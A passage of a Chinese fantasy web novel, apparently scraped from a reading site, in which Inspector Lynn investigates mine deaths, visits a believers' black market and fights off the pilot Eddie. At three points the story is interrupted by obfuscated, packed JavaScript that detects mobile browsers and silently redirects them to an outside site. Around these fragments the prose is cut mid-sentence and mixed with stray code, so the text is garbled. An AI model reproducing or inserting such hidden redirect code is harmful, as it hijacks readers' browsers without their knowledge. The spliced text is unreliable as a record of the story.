林恩一本接一本阅读起来,终于发现些猫腻: 以往每一年,虽然多少有些出入,但是月均死亡人数都在50人左右。 但是时间来到今年—— 今年光是2月,就有200例死亡案例?! 这未免也太多了吧。 林恩蹙起眉,往后翻了一页,继续阅读死亡人员的详情。 登记在案的死亡案例中,绝大多数都位于…… 5号矿坑?! 那可是朗氏矿业公司的矿山! 想必朗氏公司发现了某种高度致死的异种生物,用数不胜数的活人试探出该生物的情况,并且悄悄把这件事情隐瞒下来。 只不过,即便范围缩小在5号矿坑,林恩也完全没有办法锁定异种生物所在的位置。 还不能轻举妄动,她心想。 还没等林恩继续调查,罗伯特治安官的声音就顺着门缝钻了进来: “审查官,有一位自称飞艇驾驶员的男人过来了,说是要把飞艇开走。” “唔,我认识他。” 林恩直接把这一册记录塞进公文包里,而后随手抓起一本10年前的人员档案以掩人耳目。 “艾迪·穆德?” “嗯,我要返回碎金城了,审查官。” 艾迪的身影在走廊的另一端逐渐显现。 他依旧穿着昨日的衣服,黑色的长款外套,刚好遮住他并不利索的腿。 隔了些距离,林恩却还是捕捉到了空气里的酒味与脂粉味。 她下意识皱了皱眉头。 “飞艇已经充好气了,是吗?” “没错。” “所有装备都检查过了?” “是的,检查过了。” 林恩认真履行着审查官的职责,对艾迪的工作进行了一一询问,确认无误后终于同意放行。 “注意安全,驾驶员穆德,向首席审查官转达我的慰问。” “明白。” 艾迪行了个标准的军礼,“等到飞艇维修完毕,我会重新返回绯通亚矿场的。我们到时再见,审查官。” 林恩颔首,心中却满是怒骂: 这个该死的家伙,竟然还要再来一次? 55. 绯通亚矿场(六) 一晃就到了饭点,面对治安官迈克尔·罗伯特的盛情邀约,林恩还是狠心拒绝了。 对她来说,还有另一件要紧的事情。 ——去找阿曼达审查官所说的“值得信赖”的矿坑经理。 临走前,林恩想了想,又问罗伯特。 “在绯通亚镇里,怎么购买马车?” “您需要使用马车,还不是一句话的事!” 罗伯特舔着脸笑道,一边吩咐手下给林恩找来一辆机械马车。 “咱们这里的马车并不是高级货,但是结实耐用,您可以先用着!” 这正合林恩的意。 小小的推拒之后,林恩心安理得地接受了马车的使用权,一边驾驶马车前往矿场。 只不过,她吃了闭门羹。 皇家钢铁公司的经理亚瑟·艾伯特离开了绯通亚矿场几日,楼里唯一的话语人变成了他的秘书。 “他今天有急事出了门。如果您想联系艾伯特先生,或许得等几天。” 秘书托比说道,一边打开日程本。 他的手指一行一行划过,随后报出准确的数字。 “三天,艾伯特先生将乘坐三天之后的火车返回绯通亚小镇。” “看来他出了趟远门呢。”林恩抿唇,“我知道了,感谢您。” “客气了,这是我应该做的。” 托比低声说道,“艾伯特先生在离开之前就关照过,会有一位碎金城来的审查官来找他。” 他抬起眼,“我想,说的就是您吧。” 既然知道审查官会来拜访,他又为什么急匆匆地离开绯通亚矿场? 林恩对此有些不解。 == 不论如何,既然没见到艾伯特先生,林恩索性驾驶马车在矿场四周转了一圈,大致摸清了矿场的结构后,饥肠辘辘地返回小镇。 在“老农夫酒馆”门外,她再次遇到了莱亚。 他穿了件宽松的卡其色外衣,打扮已经完全融入本地,与碎金城里的陆军上校简直是天壤之别。 “您起得可真够早的,审查官。” 他打了个呵欠,又打量起机械马车,“十年前的旧款,您从哪里搞到的机械马车?” “治安所的。” 林恩跳下马车,一边往老农夫酒馆里走,“既然是免费的,你也不要吹毛求疵了。” 门铃“叮叮当当”地响起来,正在打扫的服务生直起腰,热情地招呼二人。 昨晚的酒保阿塔里没有出现,酒馆里只有服务生芙蓉。 她是个圆脸、亚麻棕色双马尾的姑娘,头顶系着的黄色雏菊头巾让她的脸庞也亮晶晶的。 “想吃点什么?” 她走了过来,端着一大杯薄荷柠檬茶,一边介绍道,“今天厨师做了蘑菇豌豆汤,你们可以尝尝!” “可以。” 林恩照着芙蓉的建议点了几道菜,又问道,“白天一直是这么点人吗?” “唔,通常来说,会比今天多一些。” 芙蓉在随身的小本子上记下两人的点单,一边回答林恩的问题。 “只不过,最近我们小镇有很多人去长岸镇!” 诶? 林恩和莱亚迅速对视一眼。 “为什么呢?是什么特殊的节日吗?” 林恩歪了歪头,故作不经意地询问。 “啊,你们是从碎金城来的吧!” 芙蓉弯了弯眼睛,“在我们这里,信仰女神的人其实并不少!长岸镇最近有女神陨落日的典礼,还有为时三天的集市,很热闹的!” 一边说着,她的表情带了些沮丧。 “如果不是我忙着酒馆的事情,否则我也要去看看的。” “听上去很有趣。” “是的!您有空也可以去看看!”芙蓉笑着推荐,“只不过,你们要当心集市上的信徒。” 林恩:“信徒……很多吗?” 芙蓉摇头,“不多的,铁恩郡里没有女神神殿。” 但她话锋一转,“只不过,信徒们会被呓语干扰,所以他们大多性情暴躁,我很不喜欢和他们接触。” 林恩似懂非懂地点了点头。 被呓语干扰……? 这是什么意思? 对了,她第一次晋升信徒时,还是龙骸郡巨龙镇治安官的伍德曾经说过: 【信徒的每一级跃升,也就距离古神更近。】 【信徒算得上一种诅咒。】 只不过,林恩很快忽略了这句话。 一开始是觉得他危言耸听,后面又彻底忘记这段对话了。 仔细回想起来,伍德也好、康纳利也好,对“成为信徒”都持有一种负面的看法。 为什么? 是因为信徒会听到“呓语”? 但为什么从来没听白琳或是莱亚提起过? 林恩若有所思地喝了口冰凉的薄荷茶,将这些疑惑埋进心里。 蠢蠢欲动的莱亚发话了。 “我们去一趟长岸镇吧!毕竟集市很难得,我们又都是信徒——” 尽管林恩正有此意,但听到莱亚的话,她还是头疼了一瞬。 “你别这么大声,如果有人听见了,你倒没什么,我可就惨了!” “好吧。”莱亚嘟囔,“其实没有人会发现。” “这个世界上还有回溯信徒,上校。”林恩面容沉郁,“他已经盯上我了。” 即便是进入神学院这么久,莱亚对“回溯”信徒的有关情况都没有特别了解。 他知道有这么号人物,并且此人一直在为王室服务,不过从姓名到样貌,他一概不清楚。 “你究竟做了什么事,需要回溯信徒亲自出马?” 回答莱亚的,是寂静的空气与刀叉的剐蹭声。 == 吃完午饭,又简单收拾了些行李,林恩就与莱亚一同登上了前往长岸镇的马车。 他们原本打算驾驶机械马车,只不过这辆老旧马车的最大行程也不足以驶往长岸镇,二人只得作罢。 即使传闻中的“女神陨落”日已经开始,但驶向长岸镇的火车还是挤得满满当当。 尤其是一等座与特等座,已然早早售罄。 唯独二等座还有不少位置: 平民们大多对此没有兴趣,也没有时间千里迢迢赶去长岸镇。 林恩花了6银舌尔,购买了两张不指定位置的二等座车票。 低廉的价格,也就自然换来低廉的环境。 车厢里臭烘烘的,不知何处飘来一股酸腐味,惹得林恩一阵反胃。 顺着车厢一直往前走,两人总算是找到一处气味尚可的空位。 “呼。” 林恩抽出手帕,擦了擦额头的汗水。 “没想到,世界上有这么多信徒!” “你还真是没有见识。”莱亚轻哼,“跨海而过的国度,信徒才叫多呢!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16537531|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >哦,没错。康纳利的“神谕文”里也这么描述。 林恩却对此表示怀疑: 听上去像是有某个人故意塑造出一座虚幻美丽的乌托邦,诈骗对象正是这些信徒! 林恩睨他:“就算是有这样的地方,以你我的等级,大概会立刻沦为高等级信徒的盘中餐吧。” 莱亚没有否认。 他反而笑了起来,问道:“你知道,新阿尔卡迪亚的这么多超凡物,究竟是从哪里来的?” 联系上下文的林恩立刻就猜了出来。 “该不会就是从蚀日联邦和棘齿国——” “是的。” 莱亚从口袋里掏出了什么,一边赞同了林恩的猜想。 “在那里,囚禁药剂作为一种昂贵的硬通货,在市面上流通。如果不能保全自己,结局只能是变成高等级信徒的超凡物收藏。” 他说,“这也是新阿尔卡迪亚的信徒不愿意跨海远航的理由。” 弱肉强食的达尔文规则,用如此血淋淋的例子在林恩面前呈现,终究是让她沉默了。 听上去,海洋对岸,机遇唾手可得,但危险也多如牛毛。 还在沉思时,莱亚推了样东西到她面前。 “还有一件事,”他松开了手,露出掌心下面的字条。 “这个说法是否属实?” 林恩在碎金城悄悄递给他的纸条,已经被揉搓得皱皱巴巴。 上面写着: 【七级神殿:人造的女神神殿,位于多罗区人骨教堂地下。每次使用前都有至少半年的恢复期。】 “当然属实。” 林恩理所应当地点起头,却对她的消息来源三缄其口。 莱亚早已接受了“林恩有很多秘密”的事实。 他将字条用水浇湿,又用手指碾碎,丢出车窗之外。 “那就好。”莱亚说,“虽然有些迟,但我对这桩交易很满意。” “……” 明白他是故意阴阳怪气的林恩瞬间冷脸。 还吹毛求疵起来了。 林恩指了指左肩,“尊贵的先生,我可是经历了生死劫,拖着伤口打听您的事情已经很不容易了。” “那次白教堂的刺杀?” 莱亚看着她行动如常的胳膊,又皱起眉,百思不得其解,“但是,你一个普通的审查官为什么会被刺杀?” 林恩耸肩:“告诉你也没有用。” “如果你想让我帮你报仇,那当然没用。” 莱亚半真半假地开着玩笑,“但是,提供一些信息,我还是愿意的——因为我知道,七级神殿的消息并不容易,你应当费了些力气。” 费了些力气确实算不上,但林恩却乐意让莱亚欠自己人情。 想了想,她索性开了口。 “刺杀是因为,我接受了国王的一桩委托。” “与血色九月有关?”莱亚脱口而出。 “你知道?” 林恩诧异,“你怎么会知道呢?” “我也有自己的秘密,审查官。”莱亚勾起唇,“不过,既然是这样,那也合理起来了。” 为什么说“合理”? 因为莱亚有认识的人也调查过这件事,同样也被刺杀? 还是说,他认识刺杀者、知道对方是如何斩草除根的人? 林恩瞬间罗列出若干种可能性,在心里产生了更深的怀疑。 莱亚·古德温,到底是什么来头? 56. 长岸镇(一) 从绯通亚镇到长岸镇,大约需要三个小时。 林恩望着窗外,飞驰而过的景色逐渐变换成黄色与绿色的光斑。 莱亚·古德温坐在对面,头倚着车厢,似乎陷入浅眠。 只要现在触摸他,就能获得他的把全部记忆了… 林恩心想,视线落在他的面孔上,却很快打消了这个主意。 ——虽然两人是“合作”关系,但林恩明白自己才是受益人。 她需要莱亚的帮助。 在这个节骨眼上,没有必要消耗莱亚的信任。 “盯着我看也看不出什么的。” 莱亚忽然开口。 他那双碧绿色的眼睛,在昏暗的车厢里看上去是沉静的湖底,充斥着深邃的逼问。 “……” 林恩尴尬地笑了声,庆幸自己按捺住了行为。 她从公文包里掏出笔记本,故作镇定地整理自己这段时间的发现。 ——为了避免詹姆斯·威利斯发现,她使用的是这个时代不存在的汉字。 【血色九月: 理查德四世指使的审查官弗兰·亨特(父亲),导致安妮王后自杀。 同日,弗兰救下当时还是公主的玛格丽特国王。以及内务官玛丽亚·通古拉(母亲)。 备注: 1.王室秘宝为黑色药剂,已被偷窃者玛丽亚吞服。 2.二级信徒戈雅在浅湖宫寻找某种东西——是否与秘宝相关?】 真相大概是这样,即便再往深处追查,大概也不会有更多的内容。 只不过,第一没有任何证据,第二林恩难免会被株连——对此,她还没想到解决办法。 第二件事,亨利·朗有关的案子。 林恩另起一页。 【爆炸案时间线: 1.亨利·朗藏有异种生物的钱包被流浪儿布鲁偷窃; 2.布鲁死亡。 3.死后不到2小时,亨利·朗被“神秘访客”灭口。】 不对劲。 为什么非得灭口?只是因为“异种生物致死”吗? 林恩的唉声叹气惹得莱亚抬眼。 他看了半天,忍不住开口: “研究好了吗?研究好了就准备下车,长岸镇到了。” 林恩“啪”一下合上笔记本。 汽笛声响起,蒸汽火车缓慢停在人头攒动的长岸镇车站。 即便不知道目的地的具体位置,光是跟随人流,也能到达“信徒集市”。 不过在那之前,他们二人得先找到一家旅店才行。 如预料的那样,长岸镇内体面的旅店早早被订完,被剩下的只有那些破破烂烂的家庭式旅店。 好在,即便价格微微上调,整体也在林恩的接受范围之内。 每间房间只需要10银舌尔,附赠三餐以及洗衣服务,林恩觉得这是笔划算的买卖。 不仅如此,旅店老板还给两位大方的客人准备了面具。 “来长岸镇的客人,总是不愿意透露自己的身份。” 他说。 莱亚上楼放行李的工夫,林恩坐在餐厅与老板攀谈。 “先生,进入集市需要注意些什么呢?我们是第一次来,对这里并不了解。” “您是信徒吗?” 林恩犹豫了一下,摇了摇头。 “信徒与非信徒会不一样吗?” “当然!” 老板给林恩斟满茶水,“只有信徒才能进入中心地带,也就是我们所说的黑色集市。那些真正像样的好东西,只有黑色集市才有!” 真正像样的好东西…… 超凡物算是其中之一吗? 眼见着莱亚踩着楼梯一节一节走下来,她这才停止了交谈。 “感谢您,先生,我们准备过去看看。” “好的,记得购买萨姆的黄油烤玉米与炸小鱼!” 林恩笑着点头。 == 集市需要支付20银舌尔的入场费。 和旅店老板描述的相似,集市的外围售卖的是食品、杂货等物品。 虽然新鲜有趣,但并没有那么稀罕。 林恩在标牌为“探险家”的小摊停下脚步。 摊主是两个相当年轻的男孩,一个坐在角落、鼓捣着数不胜数的机械零件;另一个则站在便携柜台前,热情地招揽客人。 “女士,想看一看我们的发明吗?” 望着面前的二人,林恩几乎看到了翻版的记者克莱尔与发明家温蒂。 她笑了下,“您这里有什么?” “唔,一应俱全!” 揽客者一一介绍道,“这是安装了地图的指北针,随着你的步伐,地图也在不断变动。适合那些喜欢丛林冒险的人们。” 紧接着,他依此介绍了“伸缩吊绳”“机械抓钩”“潜望镜”等装置,却总不令林恩心动。 她扫视了一圈,指着角落的发明者。 “他手里的是什么?” “声波记录与放送机。” 发明者抬起头,“不过还没完成。” 这个名字有些拗口,林恩思考了一下才意识到,他们俩发明的是—— 录音机? 她来了点兴致,继续问道:“什么时候能做出来?” 发明者摇摇头,“还得再过几个小时。” 他埋下头,低声嘟囔着,“在火车上遇到几个人,把我的旅行箱撞翻了,东西也坏了。” 揽客者不忍放走好不容易上门的客人。 他塞了张名片给林恩,“女士,如果感兴趣的话,这是我们俩的联系方式。一会儿,我可以直接把物品送去你们旅店。” 林恩接了过去。 两人有一家同名店铺,位于铁恩郡的伍德兰镇。这地方距离绯通亚矿场很近。 “好吧,我先付定金。”林恩问,“总共多少钱?” “12金塔拉。”揽客者说,“定金您给2金币就行了。” 价格不高,林恩索性付完了全款,并报上了旅店地址。 但不管如何,现在一无所获,她多少有些遗憾。 “铁公鸡”莱亚难得花了5个银舌尔,买了一份黄油烤玉米给林恩。 “吃点东西吧,或许你的心情会好一些。” “好吧,谢谢你。” 面对难得的善意,林恩受宠若惊。 她咀嚼着饱满多汁的玉米粒,口腔里是黄油带来的奶香味,混合着香料的辛辣香气。 “我刚刚打听了一下,如果想进入黑色集市,需要在售票员手中更换手卡。” 莱亚说,“需要注册信徒的身份证件。” “我没有这种东西,也可以进去吗?” 莱亚:“那你得跟着我一道。” 一边说着,他一边从口袋里摸出他的军官证。 林恩探头看了,上面标注着莱亚的信徒异能与等级。 【莱亚·古德温8级-谎言识别-存在】 林恩又问:“如果你晋升,是不是得去更新证件?” “是的。” 莱亚从售票员手里拿到两张“黑色集市”的门票,一边回答着。 他试图把门票塞给林恩,奈何林恩刚抓了黄油烤玉米,手指油渍渍的。 想了想,莱亚决定自己保管。 “还真是没什么隐私。” 林恩摇了摇头,舔干净手指,又抓过门票。 它的手感很奇怪,明明是硬质的,却似乎能用指甲划出划痕。 莱亚发出一声细微的叹息。 == 黑色集市之所以得名,是因为被建在地底。 在进入之前,两人不约而同地戴上旅店老板给的面具: 它是铝制的,很轻,遮住了上半张脸。 林恩检查了好几次,确认它结实不会脱落,这才放下心。 入口处站着几名粗壮的安保员,只一眼,莱亚就笃定: “他们只是普通人,但却没有携带任何武器。现场一定有潜藏的信徒作为安保员。” 他低声说道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16542660|181277||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林恩对此不感兴趣。 她反倒在思考另一件事: 如此庞大规模的集市,究竟是谁举办的呢? 一个认可信徒且拥有巨大权力的组织…… ——除了神学院,还有其他信徒组织吗? 弯身钻过入口的矮门,顺着潮湿黑暗的甬道一路步行两分钟,终于柳暗花明。 瓦斯灯光亮如白日,服饰各异的人们大多佩戴着遮挡物,穿行在大大小小的摊位之前。 嘈杂、闷热、混乱,扑面而来的浑浊感让林恩下意识皱眉。 她踩着莱亚的脚步,慢吞吞走了下去。 “看上去,绝大多数的顾客是‘交换’,而并非‘购买’。” 扫视一圈后,林恩总结。 而他们没有超凡物, ——其实林恩有《神谕文翻译》,但那是绝对不能被交换的。 因此,对二人来说,黑色集市更像是触手不可及的幻影。 莱亚停在小摊前。 “6级神殿的地点?”他一字一句地念道,“怎么卖?” 摊贩带着笑意。 “100金塔拉一个地点,200金塔拉包含进入神殿的办法。” 价格不算便宜,但也没有昂贵到支付不起。 莱亚有些心动,却仍旧迟疑: “如果这是虚假的地点呢?如果你欺骗我呢?” “那可没有办法。”摊贩耸肩,“我们这里的买卖就是这样的。” 莱亚犹豫片刻,还是摇了摇头。 “这个是什么?” 林恩指着架子上的一枚水晶吊坠,好奇询问道。 摊贩哑声道:“一个低级的超凡物“窥探之眼”,如果你想要的话,花100金塔拉就行。” “用来窥探别人?” 摊贩嘎嘎大笑,“当然不是,是用来探查有没有人在偷窥你。” 他把这枚精致的粉水晶吊坠取下来,“这似乎是个妓/女的宝贝,因为一直有人偷看她洗澡。” “……” 尽管如此,林恩打着“以物易物”的算盘,多少有些心动。 “50金币吧。”她说,“我手头只剩这么多钱了。” 摊贩点头:“可以。” “?” 忽然觉得自己亏大了是怎么回事? 林恩付完钱,摊贩才慢吞吞地补充: “低级超凡物的特性,它发挥一次作用会有1天至100天不等的冷却时间。所以,祝您好运了,女士。” 粉水晶吊坠被放在林恩掌心。 她盯着看了几秒,忽然觉得这东西是第一大鸡肋。 食之无味、弃之可惜。 不管有没有受骗,林恩还是把它挂在脖子里,一边悄声问莱亚: “刚刚你怎么会怕摊贩欺骗你?你的异能可是谎言识别!” “难道你没发现吗?”莱亚斜眼睨她,“我们在这里无法使用异能。” “?” 林恩的表情一下子变得纠结。 “记忆宫殿”在眼前缓缓搭建而成,莱亚的声音残留在面前的异度空间里。 林恩的异能没有消失。 ——但是,为什么不会消失? “我一进来就发现了,信徒的异能会被削弱。”莱亚摇头,“或许高等级的信徒还保有能力,但是对我们来说,会直接失效。” 倒也合理。 对莱亚这类异能被动开启、习惯即时反馈的信徒来说,身处黑色集市,会瞬间失去安全感。 林恩虽然为自己的特殊而欣喜了几秒,但最终,对未知的强烈不安更胜一筹。 她迫切地想知道理由,但偏偏不会得到解答。 由于心怀鬼胎,林恩愈发沉默。 她在胡思乱想中随意打量着邻近的摊位,目光忽然停顿下来。 摊位的角落处,放着一只棕色牛皮的旅行箱。 箱子上,刻着土狼与蒸□□的标志。 朗氏公司的标志?! 绝对不会有错! 57. 长岸镇(二) 林恩径直走过去。 摊主是个寸头女人,身穿黑色紧身衣,光线在衣摆上形成流光溢彩的折射。 看到两位生人,她问道:“两位想看点什么?” 林恩:“要看你有什么了。” “这可不是做买卖的态度。”女人笑起来,眼角的褶皱如云朵般堆积,“或许,您可以更直接一些。” 她不是高等级的信徒,却同样颇具威胁。 林恩瞬间收敛自己的狂妄。 “好吧。” 她踱步至旅行箱边,右手触摸着提手:“这东西怎么卖?” 话音未落,她已在心中默念。 【查看旅行箱的记忆宫殿。】 寸头女人根本来不及阻止。 …… 旅行箱的最后一位经手人,是位西装革履的中年男人,头戴礼帽,留了几撇小胡子。 他称呼寸头摊主为“信鸽”,而摊主称呼他—— 亚瑟·艾伯特?! 等等,他是绯通亚矿场2号矿坑的经理?! 林恩瞬间从惊讶中缓过神,笃定这东西绝不属于他。 这是朗氏矿业公司的物品,而艾伯特是皇家钢铁公司的人。 现在看来,只能往前倒推,看看哪一步出了意外。 长岸镇火车站、绯通亚镇火车站。 等等—— 在疾驰的蒸汽火车上,亚瑟·艾伯特提着旅行箱走入一等座车厢。 他挑选了一个挨着走廊的位置,为了节省空间,他随手把旅行箱放在行李架上。 只不过,等他下车的时候…… 艾伯特却随手抓起右手边的旅行箱,径直冲下了车! 林恩恍然大悟: 也就是说,亚瑟·艾伯特经理拿错了朗氏矿业公司的箱子,并错误地交给了摊主“白鸽”。 而他本人,已经完成了交易,离开黑色集市了。 …… 为防止有人注意到她使用异能,林恩在发现真相的瞬间立即停止记忆搜查。 现实中的场景还在继续。 “您也太没有礼貌了,女士!”摊主“信鸽”生气地指责道,“我不愿意做您的生意,请您立刻离开!” “等一下,女士。” 林恩道,“我之所以这样莽撞,是因为这个箱子是我主人的。” “信鸽”嗤笑一声,知道她在撒谎。 林恩指着旅行箱上的花纹,“我想,您或许认识交易者的身份。而这个标志,是属于朗氏矿业公司的。” 她一口气把话说完,以防万一“信鸽”再次赶人。 “不信的话,您可以打开箱子看一看,里面是否是你想要的东西。” 在看到花纹的一瞬间,摊主就已经意识到不对了。 其实根本不需要验证,但“信鸽”还是打开看了一眼。 她脸色瞬间变了: 箱子内本该是满满当当的钞票,现在却堆放着黑色的绸布状物品。 这是什么东西? “信鸽”有些好奇,下意识伸出手。 “呕——” 旅行箱打开一条窄缝,林恩开始剧烈作呕。 几乎是瞬间,她就意识到那里面装着什么。 异种生物! 不,甚至可能就是噬土畸体! “合起来,不要碰!” 林恩立刻冲过去,阻止“信鸽”触摸,又用身体将箱子硬生生摁上,立即上了锁。 “信鸽”并不在乎林恩的行为。 她沉着脸,因为损失了大量金钱而分外不快: “我得赶紧联系艾伯特先生!” “他在哪里?” “信鸽”摇头,“应该还在长岸镇,但我不知道他会去哪里。” 一边说着,她一边收拾起摊位,正有收摊的打算。 林恩咬唇: 亚瑟·艾伯特不仅来了长岸镇,还把朗氏公司的噬土畸体拿走了。 所以,朗氏如果想要寻找旅行箱,那一定会—— 抓住艾伯特? 莱亚眼睁睁看着摊主“信鸽”走远,又看向林恩: “你似乎隐瞒了很多东西,审查官。” “嗯。”林恩崩溃地抓了抓头发,“如果你想知道的话,我会跟您说的。只不过现在——”不行。 她忽然停了声音,伸出手试探地触摸着“超凡物”粉水晶。 难道说—— 莱亚不解:“现在?” 林恩一把拽住莱亚的手,不管不顾地往前跑。 “粉水晶在发烫。”她说,“有人跟踪我们!” 该死的! 她根本来不及考虑那么多,一心只想甩掉身后的窥探视线。 有人抓到亚瑟·艾伯特了,一定是这样! 他们获得了艾伯特的行迹,一路来到黑色集市,甚至追查到了“信鸽”的摊位。 他们想把旅行箱带走,却没想到“信鸽”提前离开。 那么,为什么要偷窥他们? 是因为认识他们吗? 林恩疑惑地停下脚步。 粉水晶的温度在下降,窥视消失了。 “现在可以说了吗?” 莱亚的表情逐渐不快:他受不了永远被蒙在鼓里,似乎是世界上唯一的蠢货。 林恩看着他,大致评估莱亚的可信度后,总算是开了口。 她一五一十地把“交换旅行箱”的事件讲了一遍,省略了“记忆搜查”的部分,只说是从矿场里得到的信息。 莱亚沉默许久,终于发出幽长的叹息。 == 在地下黑色集市躲藏了两个小时左右,期间林恩甚至用粉水晶交换了另一件超凡物“沙之书”,两人终于安全离开集市。 天色彻底暗了下来。 好在吃过黄油烤玉米,不至于饿得前胸贴后背;但不管如何,现在都到了饭点了。 旅店老板已用过晚餐,因此,餐厅里只剩下林恩与莱亚两人。 他们的谈话变得有恃无恐。 “你觉得我们今晚安全吗?”莱亚看着在“沙之书”上胡作非为的林恩,忍不住问道。 林恩头也不抬: “很难说。如果对方仅仅是想重新获得行李箱,那么想必我们是安全的。危险的只有摊主信鸽。” “但是——” “但如果他们想让所有知情者死……” 林恩放下手中的“笔”,话锋一转。 “不管怎么说,我们必须要准备反击对策。” 她购置的一套两本的“沙之书”,今晚刚好可以发挥作用。 这是一套中级至高级的超凡物,除了粉水晶之外,林恩还额外花了500金塔拉,经过讨价还价才收入囊中。 它的功能很简单,即实现远距离的即时通话。 使用方法也同样简单,在其中一本书上写下内容,另一本就会瞬间显示出来。 ——就好像是可同时编辑的文档。 更令林恩心动的一点是,由于媒介是“沙”、并非直接书写在纸上,因此詹姆斯·威利斯的“博学者”异能失效。 某种程度上来说,这还是远距离的加密对话。 当然,缺点也很明显。 没有及时阅读的内容,会像漫天飞沙一样很快消散,文字无法被存储。 林恩把其中一本交给莱亚,“如果有什么异状,你就在纸上写下来。” “我不需要这个东西。” 莱亚皱眉,“我们还不如呆在同一个房间,留有足够多的反应时间。” 说的也是。 两人一同呆在莱亚的房间。 林恩觉得,比起与世无争的莱亚·古德温,有人想杀她的几率更大。 她盘腿坐在沙发上,一边给蒸汽火/枪上好膛。 目前,她的自保手段并不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“少装了。” 艾迪呕出一口血,面孔上带上诡异的笑脸,“你们都得死,而我不会。” 他说的没错。 他们都接触到了噬土畸体,会面临和流浪儿布鲁一样的死亡结局。 说着,艾迪竟掏出一管绿色药剂,对着嗓口灌了进去。 “强效愈合药剂……?” 莱亚诧异:替身玩偶这个时候为什么要喝这个? 难道—— 他试图说些什么,却发现喉咙一阵一阵发紧,几乎呼吸不过来! “再见了,审查官。” 艾迪咧开嘴,重新站起来,以近乎恐怖的速度冲到窗口! “乓——” 林恩换好弹夹的枪口再次对准他的左腿。 子弹打在黄铜假肢上,发出金属撞击的嗡响! 艾迪·穆德猝不及防,从二楼直接跌落! 他的假肢被打碎了半截,掉落在房间内,连带着一只船形的黑色鞋子。 林恩站在窗口,看着他的颈椎以一种诡异的角度弯折,身下的草地布满湿淋淋的血迹,猜测艾迪·穆德已经死亡。 不管怎么说,她还是瞄准艾迪的头颅,以防万一他没死透。 一声枪响,火药在他的脑袋上炸开,骨骼碎屑连带着碎肉迸溅而出。 林恩收回手/枪。“我下楼去看一看。” 莱亚点头。 旅店里的所有人都已醒透,但由于恐惧,没有人亮灯、也没有人出来。 林恩大摇大摆地走下楼,推开大门—— 艾迪坠楼的地方,此刻空无一物! 他跑了?! 林恩浑身发冷,几乎颤抖起来: 要么是尸体死而复活,要么就是有人接应! 58. 长岸镇(三) 林恩浑浑噩噩地回到旅店。 房间乱作一团,莱亚倒在地面上,呼吸急促且费力。 在他手边,有一只空药剂瓶。 “你还好吗?”林恩问。 莱亚勉强点头,气若游丝,“还死不了……艾迪人呢?” “失踪了。” 林恩面色沉重,“明明死透了,怎么可能还跑得掉?!” “因为他是替身玩偶。” 莱亚苦笑,口中喷出浓稠的黑血。他用手背抹掉,又继续说道: “他不会死的,他已经早早找到了下一个替身者。” 血液喷溅在床铺上,混杂着无数的褐色沙石。 林恩没露出意外的表情,反倒询问莱亚:“你真的还好吗?” “喝过净化药剂了。” 莱亚扬了扬下巴,指着地板上的空药剂瓶。 “康纳利审查官曾经制作的高级药剂,能净化异种生物的攻击。” 后半句话,莱亚没有说出口: 为什么林恩没有异状? 她到底有什么特殊之处? 被莱亚关注的林恩走到窗边,弯腰拾起地面上的破损假肢,捡拾起来。 既然艾迪已死,那么亚瑟·艾伯特目前大约是安全的。 她得尽快使用“记忆宫殿”,把艾伯特经理救出来! == 亚瑟·艾伯特被关押在长岸镇郊区的一处库房内。 林恩赶到时,天已蒙蒙亮。 库房外杂草丛生,门口一串乱糟糟的脚印,一直延伸至内部。 疲惫了一整夜,林恩早已没有耐心撬锁。 她举起枪,对准锁扣直接射击。 “啊!” 亚瑟·艾伯特蜷缩在角落里,发出一声处于极度的恐惧中的惨叫。 这个可怜人一整夜都没合眼。 即便是浓重的困倦覆盖住他的意识,他最终还是妥协于本能的恐慌。任何一点风吹草动都能把他吓得浑身战栗。 “先生,我来救你出去。” 林恩将蒸汽火/枪塞回枪套里,一边说道。 “马车在外面等着,我会带您去我的旅店。” “……” 亚瑟·艾伯特的神志恢复了少许,瞪大了因疲倦而凹陷的眼睛,不可思议道: “那个可怕的男人死了?” “嗯,死了。” 林恩看着没有动弹的艾伯特,“顺便说一声,我叫林恩·亨特,是国民卫队的审查官,您应该知道我。” 艾伯特的理智已经被冻僵。 他胡乱地点着头,几乎不明白林恩在讲什么,只想尽快离开这该死的库房。 “好的,亨特审查官,我们赶紧走吧。” 他撑着墙壁试图站起来,双腿却软如面条,浑身无力。 “罢了。” 林恩叹了口气,蹲在亚瑟·艾伯特身前。 “您趴在我的背上,先生,我背你出去。” “这——” 林恩回过头,“上来吧。如果觉得不好意思,一会儿倒是可以给我们一点经济补偿。” 旅店被他们弄的一团糟,多半是要赔一大笔钱的。 而亚瑟·艾伯特,是一个完美的钱袋子。 林恩稳稳当当地走到马车旁边,等待许久的车夫接过艾伯特先生,把他安顿在车里。 “女士——” 车夫回头,试图与林恩交谈,却见她面色忽然呈现不正常的铁锈红,而后轰然倒地! …… 身体很痛。 头也很痛,仿佛有什么东西钻进颅骨的缝隙,又将缝隙撑得巨大。 林恩觉得自己像是置身于胃酸之中,正在被某种物质消化腐蚀。 她能够感觉到自己的躯体正在逐渐消融。 不。不对。 